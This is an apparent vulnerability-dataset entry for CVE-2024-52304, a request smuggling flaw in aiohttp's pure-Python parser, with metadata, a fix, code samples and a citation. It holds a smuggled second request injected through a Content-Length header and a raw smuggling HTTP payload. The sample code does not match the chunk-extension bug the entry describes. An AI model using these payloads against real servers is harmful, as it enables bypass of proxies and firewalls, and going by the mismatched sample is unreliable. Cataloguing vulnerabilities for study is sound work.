CVE-2024-52304

Request smuggling vulnerability in aiohttp prior to version 3.10.11.

• CVSS 6.3
• CWE-444
• Input Validation and Sanitization
• Remote

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.10.11, the Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions. If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. Version 3.10.11 fixes the issue.

CVE

CVE-2024-52304

CWE

CWE-444

CVSS base score

6.3

Published

2024-11-18

OWASP

A01 Broken Access Control

Orthogonal defect classification

Algorithm

Code defect classification

Incorrect Functionality

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Unauthorized Access

Affected component

aiohttp

Fixed by upgrading

Yes

Solution

Upgrade aiohttp to version 3.10.11 or later.

import aiohttp
import asyncio

async def fetch(url):
    headers = {
        'Transfer-Encoding': 'chunked',
        'Content-Length': '0\r\n\r\nGET /evil HTTP/1.1\r\nHost: example.com\r\n\r\n'
    }
    async with aiohttp.ClientSession() as session:
        async with session.post(url, headers=headers) as response:
            return await response.text()

async def main():
    url = 'http://example.com'
    response = await fetch(url)
    print(response)

if __name__ == '__main__':
    asyncio.run(main())

import aiohttp
import asyncio

async def fetch(url):
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            return await response.text()

async def main():
    url = 'http://example.com'
    response = await fetch(url)
    print(response)

if __name__ == '__main__':
    asyncio.run(main())

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

0

GET /malicious HTTP/1.1
Host: target.com

@misc{vaitp:cve202452304,
  title        = {{Request smuggling vulnerability in aiohttp prior to version 3.10.11.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-52304},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-52304/}}
}